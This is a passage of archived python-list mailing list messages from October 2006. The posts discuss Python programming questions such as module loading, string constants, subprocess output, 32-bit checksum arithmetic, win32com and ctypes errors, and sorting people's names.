>> On Tue, 31 Oct 2006 11:00:52 +1100, Ben Finney wrote:
>>
>> > If you want a solution that gives you an actual module object,
>> > here's what I use:
>> > 
>> >     def make_module_from_file(module_name, file_name):
>> >         """ Make a new module object from the code in specified file """
>>
>> The only advantage (or maybe it is a disadvantage?) I can see to
>> your function is that it doesn't search the Python path and you can
>> specify an absolute file name.
> 
> Which is exactly what the OP asked for (though he didn't necessarily
> need a module object).

I'm not arguing, you could very well be right, but I'm just curious what
part of the OP's post led you to believe he needed to specify an absolute
filename. Unless I'm missing a second post, he certainly never suggested
that his scripts weren't in the Python path, or that he couldn't add their
location to the path.

*shrug* It probably isn't important -- given the constraints as you read
them (extrapolated them?) your solution looks good.


-- 
Steven.



From claird at lairds.us  Mon Oct 16 19:00:14 2006
From: claird at lairds.us (Cameron Laird)
Date: Mon, 16 Oct 2006 23:00:14 +0000
Subject: always raise syntax error!
References: <1160720758.730483.56680@i42g2000cwa.googlegroups.com>
	<pan.2006.10.13.06.37.25.718583@REMOVEME.cybersource.com.au>
	<1160727087.763855.206040@i3g2000cwc.googlegroups.com>
	<rOKdnUboBcQgNLLYnZ2dnUVZ_vCdnZ2d@comcast.com>
Message-ID: <ugfd04-1qf.ln1@lairds.us>

In article <rOKdnUboBcQgNLLYnZ2dnUVZ_vCdnZ2d at comcast.com>,
Larry Bates  <larry.bates at websafe.com> wrote:
>daniel wrote:
			.
			.
			.
>> well, I would say, the reason why I could not position the error code
>> may partly due to the ambiguous message that python provides. the lines
>> that python pointed to contains no error,  I think the error codes must
>> be too far away from there. anyway, I hope python would make more
>> detailed error messages, like c++ compilers do. such as: "missing ;" or
>> "(" not matching...etc.
			.
			.
			.
>Occassionally I will have phantom syntax errors that seem to be
>attributable to non-printing characters in a line.  Other times the
>error is in fact far above the place pointed to by the syntax error.
>Start by commenting out large chunks of code with triple quotes and
>slowly work towards the lines with a problem.
>
>-Larry Bates

I'll reinforce part of this:  if C++ compilers are our standard, 
Python needn't feel shame about its error-reporting.  While I've
long advocated upgrades to Python's diagnostic-reporting, it's
simply not true that Python points to "no error".  Python reports
a syntax error on a particular line only when there's sufficient
reason.  

I recognize a background with C++ will probably necessitate 
accomodation to Python, because the two do NOT employ the same
style for syntax questions.  Please, though, daniel:  don't make
the mistake of thinking Python's syntax is a mystery.


From python.list at tim.thechases.com  Tue Oct  3 16:16:28 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Tue, 03 Oct 2006 15:16:28 -0500
Subject: String constants (was "Looping over a list question")
In-Reply-To: <1159905151.490262.260000@h48g2000cwc.googlegroups.com>
References: <1159897804.722852.8160@i42g2000cwa.googlegroups.com>	<mailman.1190.1159901843.10491.python-list@python.org>
	<1159905151.490262.260000@h48g2000cwc.googlegroups.com>
Message-ID: <4522C51C.8020104@tim.thechases.com>

> I'd also love to see string constants implemented some day too
> (like str.whitespace and str.ascii_letters).

You mean like the "string" module provides? :)

 >>> import string
 >>> print '\n'.join(["%s -> %s" % (s, repr(eval('string.%s' % 
s))) for s in dir(string) if isinstance(eval('string.%s' % s), 
basestring) and not s.startswith('_')])

ascii_letters -> 
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
ascii_lowercase -> 'abcdefghijklmnopqrstuvwxyz'
ascii_uppercase -> 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
digits -> '0123456789'
hexdigits -> '0123456789abcdefABCDEF'
letters -> 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
lowercase -> 'abcdefghijklmnopqrstuvwxyz'
octdigits -> '01234567'
printable -> 
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$
%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'
punctuation -> '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
uppercase -> 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
whitespace -> '\t\n\x0b\x0c\r '
 >>> string.lowercase
'abcdefghijklmnopqrstuvwxyz'

(you mentioned liking list comprehensions, so that ugly hack of a 
  one-liner extracts all the string properties of the "string" 
module that don't begin with an underscore)

-tkc






From barmar at alum.mit.edu  Sat Oct 28 10:40:39 2006
From: barmar at alum.mit.edu (Barry Margolin)
Date: Sat, 28 Oct 2006 10:40:39 -0400
Subject: what are the most frequently used functions?
References: <1162020254.660829.124900@e3g2000cwe.googlegroups.com>
Message-ID: <barmar-9B3FB2.10403928102006@comcast.dca.giganews.com>

In article <1162020254.660829.124900 at e3g2000cwe.googlegroups.com>,
 "Xah Lee" <xah at xahlee.org> wrote:

> I had a idea today.
> 
> I wanted to know what are the top most frequently used functions in the
> emacs lisp language. I thought i can write a quick script that go thru
> all the elisp library locations and get a word-frequency report i want.
> 
> I started with a simple program:
> http://xahlee.org/p/titus/count_word_frequency.py
> 
> and applied it to a Shakespeare text. Here's a sample result:
> http://xahlee.org/p/titus/word_frequency.html
> 
> Then, i wrote a more elaborate one that recurse thru directories to
> work on elisp code treasury.
> 
> The code is here:
> http://xahlee.org/x/count_word_frequency.py
> 
> and i got a strange result. The word ???the??? appeared on the top,
> along with many other English words. I quickly realized that these are
> due to lisp function's doc strings. (not comments)
> 
> At this point, it dawned on me that there's no easy way to work around
> this, Unless, i write this script in elisp which has functions that
> read lisp code and can easily filter out doc strings.

For Lisp, just look for symbols that are immediately preceded by ( or 
#'.  The tokens after ( are not always functions, since this is also 
used for constructing literal lists and for subforms of special 
operators (e.g. the variable names in LET bindings) but I think the ones 
that aren't functions will have low enough frequency that they won't 
impact the results.

Perl would be harder, I think.  For ordinary function calls you can look 
for a word followed by (, but built-in functions allow use without 
parentheses around the parameters.

-- 
Barry Margolin, barmar at alum.mit.edu
Arlington, MA
*** PLEASE post questions in newsgroups, not directly to me ***
*** PLEASE don't copy me on replies, I'll read them in the group ***


From nick at craig-wood.com  Mon Oct  2 04:30:08 2006
From: nick at craig-wood.com (Nick Craig-Wood)
Date: Mon, 02 Oct 2006 03:30:08 -0500
Subject: DAT file compilation
References: <1159571664.963362.193360@c28g2000cwb.googlegroups.com>
	<4o5qhvFd1bddU1@uni-berlin.de>
	<1159574758.612198.141410@i3g2000cwc.googlegroups.com>
Message-ID: <slrnei1j37.hs6.nick@irishsea.home.craig-wood.com>

Jay <jaysherby at gmail.com> wrote:
>  Diez B. Roggisch wrote:
> > Jay schrieb:
> > > Is there a way through python that I can take a few graphics and/or
> > > sounds and combine them into a single .dat file?  If so, how?  And how
> > > can I access the data in the .dat file from inside the python script?
> > 
> > Use a zip-file. See the zipfile-module.
>
>  That's one solution, but I'd rather a file format the end-user can't
>  easily mess around with.

Just don't give it a .zip extension.  Works for java and .jar, and
openoffice and all of its many extensions.

If you are feeling really paranoid then encrypt it.

-- 
Nick Craig-Wood <nick at craig-wood.com> -- http://www.craig-wood.com/nick


From steve at holdenweb.com  Mon Oct  9 03:22:22 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 09 Oct 2006 08:22:22 +0100
Subject: People's names (was Re: sqlite3 error)
In-Reply-To: <egbsoq$tcu$1@lust.ihug.co.nz>
References: <JnzSg.36$1n3.471@news.tufts.edu>	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>	<yCQSg.41$1n3.351@news.tufts.edu>	<1159493520.289291.276850@b28g2000cwb.googlegroups.com>	<mailman.912.1159494600.10491.python-list@python.org>	<eg98qb$6a3$1@lust.ihug.co.nz>	<1160266138.599325.270290@e3g2000cwe.googlegroups.com>
	<egbsoq$tcu$1@lust.ihug.co.nz>
Message-ID: <egct9o$uk0$1@sea.gmane.org>

Lawrence D'Oliveiro wrote:
> In message <1160266138.599325.270290 at e3g2000cwe.googlegroups.com>, John
> Machin wrote:
> 
> 
>>Two problems so far:
>>(1) If you then assume that you should print the phone directory in
>>order of family name, that's not appropriate in some places e.g.
>>Iceland; neither is addressing Jon Jonsson as "Mr Jonsson", and BTW it
>>can be their mother's name e.g. if she has more fame or recognition
>>than their father.
> 
> 
> Your bringing up the phone directory is a good point. That's probably the
> most widely-consulted list of people's names around, so it's worthwhile
> following whatever conventions are laid out in each country/region's phone
> books. (There's also the electoral roll, I suppose, but I would assume that
> follows the same sorts of conventions as the phone book.)
> 
> 
>>(2) Arabic names: you may or may not have their father's name. You
>>might not even have the [usually only one] given name. For example: the
>>person who was known as Abu Musab al-Zarqawi: this means "father of
>>Musab, the man from Zarqa [a city in Jordan]". You may have the family
>>name as well as the father's and grandfather's given name. You can have
>>the occupation, honorifics, nicknames. For a brief overview, read this:
>>http://en.wikipedia.org/wiki/Arabic_names
> 
> 
> The question for me is: which part of his name would he share in common with
> his brothers and sisters? That's the part I would call the "family name".
> 
> One might raise the issue of using names to trace genealogies, origins etc,
> but that's not my concern here. I'm just trying to come up with a way to
> represent names of individuals, in such a way that they can easily be found
> (as in, for example, the local phone book).
> 
> 
>>>I wonder if we need another "middle" field for holding the "bin/binte"
>>>part (could also hold, e.g. "Van" for those names that use this).
>>
>>Not a good idea, IMHO. Consider "Nguyen Van Tran" vs 'Rembrandt van
>>Rijn". Would you peel the Da off Da Costa but not the D' off
>>D'Oliveiro? What do you do with the bod who fills in a form as Dermot
>>O'Sullivan one month and Diarmaid ? S?illeabh?in the next?
> 
> 
> The obvious question is, what does the local phone book do? How do the Dutch
> phone books deal with all the "vans", and the Irish ones with all the "O"
> or "O'"s? Do they put them under V and O respectively, or do they ignore
> that part and look at the rest of the family name (which would make mor
> sense to me)?
> 
Don't forget the UK, where the scots are accommodated by filing Mc 
before Mac everywhere except the 'phone book, where IIRC they are 
treated as equivalent.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From robert.kern at gmail.com  Thu Oct 12 00:18:27 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Thu, 12 Oct 2006 00:18:27 -0400
Subject: Python component model
In-Reply-To: <1160622943.197384.91340@m7g2000cwm.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<pan.2006.10.09.18.24.45.251048@gmx.net>	<452b7aae$0$306$426a74cc@news.free.fr>
	<eghai4$615$1@online.de>	<mailman.343.1160617110.11739.python-list@python.org>	<1160618190.314729.236250@c28g2000cwb.googlegroups.com>	<ca55a9900610111907l7e897261pd1e0929f0251b76e@mail.gmail.com>	<mailman.347.1160621959.11739.python-list@python.org>
	<1160622943.197384.91340@m7g2000cwm.googlegroups.com>
Message-ID: <egkfmh$mvp$1@sea.gmane.org>

Ilias Lazaridis wrote:
> Robert Kern wrote:

>> No, he's just a troll that enjoys telling everyone what to do. Don't try to get
>> him to contribute anything useful; it won't work.
> 
> Mr. Kern! Seeing you working on such a seemingly excellent product, I
> am really wondering about your tenor.

I am confident that it is accurately aimed. Furthermore, I am confident that the 
record and the rest of this community will back me up on it. I've told you 
before that this community will not tolerate your bad behavior. How many times 
does this have to be demonstrated before you will leave?

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From gagsl-py at yahoo.com.ar  Tue Oct 24 22:45:38 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Tue, 24 Oct 2006 23:45:38 -0300
Subject: win32com problem
In-Reply-To: <1161742821.165933.113900@i42g2000cwa.googlegroups.com>
References: <1161738939.199723.85120@f16g2000cwb.googlegroups.com>
	<mailman.1129.1161742000.11739.python-list@python.org>
	<1161742821.165933.113900@i42g2000cwa.googlegroups.com>
Message-ID: <7.0.1.0.0.20061024234208.038c7bd8@yahoo.com.ar>

At Tuesday 24/10/2006 23:20, cfriedalek at gmail.com wrote:

> > tet = Synergy.StudyDoc.GetFirstTet(), perhaps?
>
>com_error: (-2147352573, 'Member not found.', None, None)
>
>Sorry, should have mentioned that I tried that already. Any thoughts on
>how to establish if the problem is with win32com or the 3rd party app?

Run it on the debugger step by step, and inspect all the intermediate objects.
Synergy.StudyDoc might be a function, by example, so you should add 
another pair of ().
This is not obvious looking at the VB code.


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From onurb at xiludom.gro  Mon Oct  9 11:32:47 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 09 Oct 2006 17:32:47 +0200
Subject: problem with split
In-Reply-To: <mailman.9.1160200561.11739.python-list@python.org>
References: <1160194063.352905.106210@e3g2000cwe.googlegroups.com>	<03eei21fpk5d6s75hb6fnaeruk0o7ob18k@4ax.com>
	<mailman.9.1160200561.11739.python-list@python.org>
Message-ID: <452a6b9f$0$22844$426a74cc@news.free.fr>

hanumizzle wrote:
(snip)
> Regexes are usually passed as literals directly to re.compile().

For which definition of "usually" ?

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From onurb at xiludom.gro  Fri Oct  6 12:33:28 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Fri, 06 Oct 2006 18:33:28 +0200
Subject: Bug in re module?
In-Reply-To: <1160150558.282151.131750@m73g2000cwd.googlegroups.com>
References: <1160149779.553564.9210@m7g2000cwm.googlegroups.com>
	<1160150311.012494.98860@i3g2000cwc.googlegroups.com>
	<1160150558.282151.131750@m73g2000cwd.googlegroups.com>
Message-ID: <45268559$0$32506$426a34cc@news.free.fr>

Ant wrote:
> John Machin wrote:
> 
>> Now quick kill your post before the effbot spots it :-)
> 
> Too late - the post was 3 minutes ago you know ;-)
> 
Must be your lucky day - he did spot it, and you're still alive !-)


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From Matthew.Warren at Digica.com  Fri Oct 27 11:40:44 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Fri, 27 Oct 2006 16:40:44 +0100
Subject: Telnetlib to twisted
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B03E854E6@UKEX01.Digica.local>

Hallo,

>>> import telnetlib
>>> l=telnetlib.Telnet('dbprod')
>>> l.interact()
telnet (dbprod)

Login:


Could anyone show how the above would be written using the twisted
framework? All I'm after is a more 'intelligent' interactive telnet
session (handles 'vi' etc..) rather than the full capabilities of the
twisted framework.


Thanks,

Matt.


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From timothy.grant at gmail.com  Fri Oct 13 14:28:54 2006
From: timothy.grant at gmail.com (Timothy Grant)
Date: Fri, 13 Oct 2006 11:28:54 -0700
Subject: Newbie question - leading zeros
In-Reply-To: <20061013130805.T91050@eris.io.com>
References: <20061013130805.T91050@eris.io.com>
Message-ID: <e775286d0610131128vc4571a2m26f8f0502ba4dbb6@mail.gmail.com>

On 10/13/06, eldorado <eldorado at io.com> wrote:
> I have looked around and cannot seem to find a way to strip leading zeros
> off of values in a dictionary. Basically, I am looking to do a for loop
> and any value that has one or more leading zeros would be stripped. Any
> pointers would be appreciated. Thanks
>

Do you really want to be storing the string representation of the int?

int('0000123') will convert the string representation to the number.

-- 
Stand Fast,
    tjg.


From wrongbad at gmail.com  Fri Oct 20 03:29:24 2006
From: wrongbad at gmail.com (I V)
Date: Fri, 20 Oct 2006 00:29:24 -0700
Subject: invert or reverse a string... warning this is a rant
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<eh89n4$r5q$1@solaris.cc.vt.edu>
	<pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>
Message-ID: <pan.2006.10.20.07.29.24.509195@gmail.com>

On Fri, 20 Oct 2006 09:04:07 +1000, Steven D'Aprano wrote:
> I agree -- the reversed() function appears to be an obvious case of purity
> overriding practicality :(
> 
>>>> str(reversed("some string"))
> '<reversed object at 0xb7edca4c>'
>>>> repr(reversed("some string"))
> '<reversed object at 0xb7edca4c>'

This doesn't seem particularly "pure" to me, either. I would
have thought str(some_iter) should build a string out of the iterator, as
list(some_iter) or dict(some_iter) do. I guess this might have to wait for
Python 3, but str ought to be a proper string constructor, not a "produce
a printable representation of" function, particularly when we have repr to
do the latter.


From mike$#at^&nospam!%trauschus  Tue Oct 24 16:29:55 2006
From: mike$#at^&nospam!%trauschus (Michael B. Trausch)
Date: Tue, 24 Oct 2006 16:29:55 -0400
Subject: Attempting to parse free-form ANSI text.
In-Reply-To: <mailman.917.1161493606.11739.python-list@python.org>
References: <mailman.917.1161493606.11739.python-list@python.org>
Message-ID: <JP6dnVyYXa1Y6qPYnZ2dnUVZ_uqdnZ2d@comcast.com>

Jean-Paul Calderone wrote:
> On Sun, 22 Oct 2006 00:34:14 -0400, "Michael B. Trausch"
> <mike$#at^&nospam!%trauschus at bag.python.org> wrote:
>> Alright... I am attempting to find a way to parse ANSI text from a
>> telnet application.  However, I am experiencing a bit of trouble.
>>
>> What I want to do is have all ANSI sequences _removed_ from the output,
>> save for those that manage color codes or text presentation (in short,
>> the ones that are ESC[#m (with additional #s separated by ; characters).
>> The ones that are left, the ones that are the color codes, I want to
>> act on, and remove from the text stream, and display the text.
> 
> http://originalgamer.cvs.sourceforge.net/originalgamer/originalgamer/originalgamer/ansi.py?revision=1.12&view=markup
> may be of some interest.
> 

This was actually very useful.  I was able to cleanly implement this for
a subset of ANSI colors.  I have to figure out yet how to get bold
implemented the way that ANSI users expect it to be, but that shouldn't
be that hard.  I am just going to have to rework the way that I handle
colors for the TextCtrl widget, since it assumes that bold really means
to overstrike the text as to make it bold.

	Thanks!
	Mike


From martin at v.loewis.de  Wed Oct 25 13:46:33 2006
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Wed, 25 Oct 2006 19:46:33 +0200
Subject: unsigned 32 bit arithmetic type?
In-Reply-To: <mailman.1189.1161797569.11739.python-list@python.org>
References: <453F3189.5000502@chamonix.reportlab.co.uk>	<ehndnf$5n4$1@sea.gmane.org>	<mailman.1167.1161773743.11739.python-list@python.org>	<7xu01s9yoz.fsf@ruckus.brouhaha.com>	<mailman.1185.1161793738.11739.python-list@python.org>	<453F9B42.8060401@v.loewis.de>
	<mailman.1189.1161797569.11739.python-list@python.org>
Message-ID: <453FA2F9.4010003@v.loewis.de>

Robin Becker schrieb:
> I can see the advantage in the summation case where all the numbers are
> known positive, however the full problem includes cases where there's an
> "adjustment" to the sum and that usually ends up like this
> 
>     adjustment = unpack('>l', table[8:8+4])[0]
>     checksum = add32(checksum, -adjustment)
> 
> so in those cases I just assumed I needed to force the result into the
> right form before doing the addition.

No, you don't. In modular arithmetic, congruency extends to all integral
numbers (of a congruency class), both positive and negative.
Computations always yield the same result no matter what representative
of the congruency class is chosen. IOW,

  if a ? b (mod n) and c ? d (mod n), then
  (a+b) ? (c+d) ? (a+d) ? (b+d) (mod n)

> Clearly we can only overflow the
> 31 bits just once, but don't negative numbers have a potentially
> infinite number of ones at the top?

The representation of negative numbers is finite (or else it wouldn't
fit into memory). This is achieved by not storing negative number
in two-th complement, but instead as (sign, absolute-value) pair.

This doesn't cause any problems for the modular arithmetic.

>>>> hex(0xFFFFFFFFL-1)
> '0xFFFFFFFEL'
>>>> hex(0xFFFFFFFFL + (-1&0xFFFFFFFFL))
> '0x1FFFFFFFEL'
> 
> so I think maybe I need to fix at least some of the numbers going into
> the add32 function.

As I said: you need to fix the final outcome:

py> x = 0xFFFFFFFFL
py> hex(x)
'0xFFFFFFFFL'

py> x += (-1&0xFFFFFFFFL)
py> hex(x)
'0x1FFFFFFFEL'
py> hex(x & 0xFFFFFFFFL)
'0xFFFFFFFEL'

py> x += (-1&0xFFFFFFFFL)
py> hex(x)
'0x2FFFFFFFDL'
py> hex(x & 0xFFFFFFFFL)
'0xFFFFFFFDL'

py> x += (-1&0xFFFFFFFFL)
py> hex(x)
'0x3FFFFFFFCL'
py> hex(x & 0xFFFFFFFFL)
'0xFFFFFFFCL'

and so on. Whether you perform the modulo operation after
each step, or only at the end, has no impact on the result.

Regards,
Martin


From steve at REMOVE.THIS.cybersource.com.au  Sat Oct 21 03:13:07 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sat, 21 Oct 2006 17:13:07 +1000
Subject: invert or reverse a string... warning this is a rant
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<eh89n4$r5q$1@solaris.cc.vt.edu>
	<pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>
	<eh9402$83e$1@solaris.cc.vt.edu>
	<pan.2006.10.21.05.28.17.991220@REMOVE.THIS.cybersource.com.au>
	<WBj_g.6839$fl.2258@dukeread08>
Message-ID: <pan.2006.10.21.07.13.04.154150@REMOVE.THIS.cybersource.com.au>

On Sat, 21 Oct 2006 01:58:33 -0500, Ron Adam wrote:

> [You said from an earlier post...]
> 
>> (That's a complaint I have about the dis module -- it prints its results,
>> instead of returning them as a string. That makes it hard to capture the
>> output for further analysis.)
> 
> I have a rewritten version of dis just sitting on my hard disk that fixes 
> exactly that issue.  It needs to be updated to take into account some newer 2.5 
> features and the tests will need to be updated so they retrieve dis's output 
> instead of redirecting stdout.  If you'd like to finish it up and submit it as a 
> patch, I can forward it to you.  It would be good to have a second set of eyes 
> look at it also.

I'm certainly willing to look at it; as far as submitting it as a patch, I
have no idea what the procedure is. Maybe we can find out together heh? :-)


-- 
Steven.



From steve at REMOVE.THIS.cybersource.com.au  Sat Oct 21 01:43:02 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sat, 21 Oct 2006 15:43:02 +1000
Subject: invert or reverse a string... warning this is a rant
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<7iNZg.117$1n3.3352@news.tufts.edu>
	<eh89n4$r5q$1@solaris.cc.vt.edu>
	<pan.2006.10.19.23.04.06.704397@REMOVE.THIS.cybersource.com.au>
	<eh9402$83e$1@solaris.cc.vt.edu>
	<mailman.797.1161307360.11739.python-list@python.org>
Message-ID: <pan.2006.10.21.05.43.01.831157@REMOVE.THIS.cybersource.com.au>

On Thu, 19 Oct 2006 22:22:34 -0300, Gabriel Genellina wrote:


>> > (1) The name is bad. "invert" is not the same as "reverse". Here's an
>> > invert: 1/2 = 0.5. Your function falsely claims numbers aren't
>> > invertable.
>>
>>Dictionary.com
>>invert = to reverse in position, order, direction, or relationship.
> 
> Note that even on a mathematical sense, "inverse" does not mean only
> "multiplicative inverse". -3 is the "additive inverse" of 3, by example
> (See <http://mathworld.wolfram.com/AdditiveInverse.html>).

A specialist meaning to invert that even mathematicians don't use unless
they are being explicitly formal. 


> (BTW,
> integers -except two of them- are not inversible in Z). 

Is that multiplicative inverse, or additive inverse, or both? (That's a
rhetorical question -- you're obviously talking about multiplicative
inverse, in which case the two integers with inverses are +1 and -1.)

In any case, that would be relevant if the function was for arithmetic in
Z. But it isn't -- it is for reversing sequences. Which supports my
contention that invert is a bad name.


> So "invert" is not a bad name "per se". 

In ordinary English, "invert" is rarely used for left to right reversal.
(I say "rarely" because there is always somebody who will hammer the
square peg of a word with one meaning into the round hole of a related but
different meaning.) Sometimes (particular in chemistry) is used for
mirror-image reversal, but reversal of a sequence isn't the same as
reflection. (Think of the shapes of the individual character glyphs, or if
you prefer, the bit patterns of the bytes.)


> But having the reversed() builtin and reverse()
> list method implies that a similarly rooted name would be better (just
> to be coherent!) - perhaps reversed_string()?

But it does/shouldn't apply only to strings. What's wrong with just
reverse()?


-- 
Steven.



From siona at chiark.greenend.org.uk  Mon Oct 16 09:53:36 2006
From: siona at chiark.greenend.org.uk (Sion Arrowsmith)
Date: 16 Oct 2006 14:53:36 +0100 (BST)
Subject: Output from subprocess.Popen()
References: <1160923622.901247.310170@b28g2000cwb.googlegroups.com>
	<mailman.543.1160924688.11739.python-list@python.org>
	<1160928257.204029.99580@m7g2000cwm.googlegroups.com>
Message-ID: <0Rl*4ootr@news.chiark.greenend.org.uk>

Clodoaldo Pinto Neto <clodoaldo.pinto at gmail.com> wrote:
>Fredrik Lundh wrote:
>> this works for me:
>>
>>  >>> f = subprocess.Popen("set | grep IFS", shell=True,
>> stdout=subprocess.PIPE)
>>  >>> f.stdout.readlines()
>> ["IFS=$' \\t\\n'\n"]
>>
>> what does the above return on your machine?
>
>>>> f = subprocess.Popen("set | grep IFS", shell=True, stdout=subprocess.PIPE)
>>>> f.stdout.readlines()
>["BASH_EXECUTION_STRING='set | grep IFS'\n", "IFS=' \t\n"]
>
>I'm on FC5

OK, there's something going on here:
$ set | grep IFS
IFS=$' \t\n'
$ python
Python 2.4.1 (#2, May  5 2005, 11:32:06)
[GCC 3.3.5 (Debian 1:3.3.5-12)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import subprocess
>>> f = subprocess.Popen("set | grep IFS", shell=True, stdout=subprocess.PIPE)
>>> f.stdout.readlines()
["IFS=' \t\n"]
>>>

(Hmph, I don't have any other non-Windows boxes with >=2.4 to hand.)

-- 
\S -- siona at chiark.greenend.org.uk -- http://www.chaos.org.uk/~sion/
  ___  |  "Frankly I have no feelings towards penguins one way or the other"
  \X/  |    -- Arthur C. Clarke
   her nu become? se bera eadward ofdun hl?ddre heafdes b?ce bump bump bump


From martin at v.loewis.de  Wed Oct 11 00:58:38 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 11 Oct 2006 06:58:38 +0200
Subject: Problem compiling C++ code with python embedded
In-Reply-To: <1160524251.912383.294460@h48g2000cwc.googlegroups.com>
References: <1160524251.912383.294460@h48g2000cwc.googlegroups.com>
Message-ID: <452C79FE.9030004@v.loewis.de>

vduber6er schrieb:
>         g++ -Wall ibdws.cpp ../cgic205/cgic.c -oibdws.cgi -Lcgraph
> -lcgraph -Icgraph/Cgraph/source -I../cgic205 -L../cgic205
> -I/usr/include/python2.2 -L/usr/lib
> /python2.2/site-packages -lpython2.2
> 
> but i get the following error when i build now:
> 
> /usr/bin/ld: cannot find -lpython2.2
> collect2: ld returned 1 exit status
> 
> Could someone help me out with this problem?  I am not too good with
> linux so please explain to me in newbie steps.  Thanks a lot.

I'm not sure I can explain it in newbie steps; I try with my own
words.

You need to find libpython2.2.a or libpython2.2.so on the new system.
You told the linker to look in /usr/lib/python2.2/site-packages
(in addition to the default locations: /lib and /usr/lib); it
wasn't there.

Try /usr/lib/python2.2/config as a directory instead. Check with
ls whether the file is there; don't try blindly.

Regards,
Martin


From michels at mps.mpg.de  Tue Oct 10 03:28:35 2006
From: michels at mps.mpg.de (michels at mps.mpg.de)
Date: 10 Oct 2006 00:28:35 -0700
Subject: News on versions modules for Python-2.5?
In-Reply-To: <45269df8$0$25949$ba4acef3@news.orange.fr>
References: <45269df8$0$25949$ba4acef3@news.orange.fr>
Message-ID: <1160465315.639829.51780@c28g2000cwb.googlegroups.com>


M?ta-MCI schrieb:

> Hi, all!
>
>
> Any news, on release Python-2.5 for many modules/lib?
> Some exemples:
>
>     Console (Effbot)
>     SciPy
>     Iconvcodec
>     DirectPython
>     SendKeys
>     Dislin
>     PyGame
>     Twain
>     etc.
>
>  ....

Dislin is recompiled for Python 2.5 and Windows. The new extension
module 'dislin.pyd'
for Python 2.5 is added to the current Dislin distribution for Python.
Dislin is
available from the site http://www.dislin.de.

Regards,

Helmut Michels
A Dislin module froython 2.5 and Windows is now available from



From steve at holdenweb.com  Mon Oct 23 13:02:35 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 23 Oct 2006 18:02:35 +0100
Subject: sharing persisten cache between modules
In-Reply-To: <1161621933.150100.149830@m7g2000cwm.googlegroups.com>
References: <1161620802.744818.16500@e3g2000cwe.googlegroups.com>	<mailman.990.1161621384.11739.python-list@python.org>
	<1161621933.150100.149830@m7g2000cwm.googlegroups.com>
Message-ID: <ehisha$vlm$1@sea.gmane.org>

Bart Ogryczak wrote:
> Fredrik Lundh wrote:
> 
>>Bart Ogryczak wrote:
>>
>>
>>>I?ve got a problem creating persistent cache, that would be shared
>>>between modules. There a supermodule, which calls submodules. I?d like
>>>submodules to use cache created in the supermodule. The only way I see
>>>right now, is to pass it as function argument, but that would require a
>>>change in API, which I?d prefer to avoid. Is this the only way?
>>
>>does "module" mean Python module?
> 
> 
> Yes it does.
> 
> 
>>why not just put the cache management
>>code in a module that's imported by any submodule that wants to use it ?
> 
> 
> The problem is, that then it is not shared. If I do it like that, each
> module has it?s own copy of the cache. Maybe I?m doing something
> wrong. I?ve made a cache module, imported it in each of the
> submodules. I don?t know how to make the data "static".
> 
No, it doesn't. At least, not if the cache is global to the module 
that's imported by all the other ones.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From bdesth.quelquechose at free.quelquepart.fr  Tue Oct 24 19:31:34 2006
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Wed, 25 Oct 2006 01:31:34 +0200
Subject: Ctypes Error: Why can't it find the DLL.
In-Reply-To: <1161711630.004644.187330@h48g2000cwc.googlegroups.com>
References: <1161711630.004644.187330@h48g2000cwc.googlegroups.com>
Message-ID: <453e9de8$0$12416$426a74cc@news.free.fr>

Mudcat a ?crit :
> Hi,
> 
> I can't figure out why ctypes won't load the DLL I need to use. I've
> tried everything I can find (and the ctypes website is down at the
